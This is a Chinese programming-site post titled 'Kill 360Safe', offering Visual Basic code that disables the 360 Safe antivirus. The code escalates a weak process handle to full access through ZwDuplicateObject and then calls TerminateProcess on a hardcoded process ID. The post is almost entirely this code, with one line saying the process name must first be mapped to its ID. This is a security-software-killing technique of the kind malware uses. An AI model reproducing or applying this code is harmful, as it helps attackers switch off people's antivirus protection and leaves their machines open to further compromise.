Kill 360Safe 完整版(VB版)

页面导航:首页 > 软件编程 > vb.net > Kill 360Safe 完整版(VB版)

Kill 360Safe 完整版(VB版)

来源: 作者: 时间:2016-01-21 10:23 【

Option ExplicitPrivate Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As LongPrivate Declare Function ZwDuplicateObject _ 

Option Explicit
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function ZwDuplicateObject _
                   Lib "NTDLL.DLL" (ByVal SourceProcessHandle As Long, _
                               ByVal SourceHandle As Long, _
                               ByVal TargetProcessHandle As Long, _
                               ByRef TargetHandle As Long, _
                               ByVal DesiredAccess As Long, _
                               ByVal HandleAttributes As Long, _
                               ByVal Options As Long) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long

Function FcOpenProcess&(p&)
Dim ProcessHandle As Long
Dim Rtn As Long
ProcessHandle = OpenProcess(&H400, 0, p)
If ProcessHandle <> 0 Then
         Rtn = ZwDuplicateObject(-1, ProcessHandle, -1, VarPtr(ProcessHandle), &H1F0FFF, 0, 1)
         FcOpenProcess = ProcessHandle
End If
End Function
Private Sub Command1_Click()
Dim ProcessHandle As Long
ProcessHandle = FcOpenProcess&(1884)
TerminateProcess ProcessHandle, 0
End Sub
1884是进程PID ,使用的话需要完成进程到pid的转换!

Tags:

相关文章

    文章评论

    最 近 更 新
    热 点 排 行
    Js与CSS工具
    代码转换工具
    
    <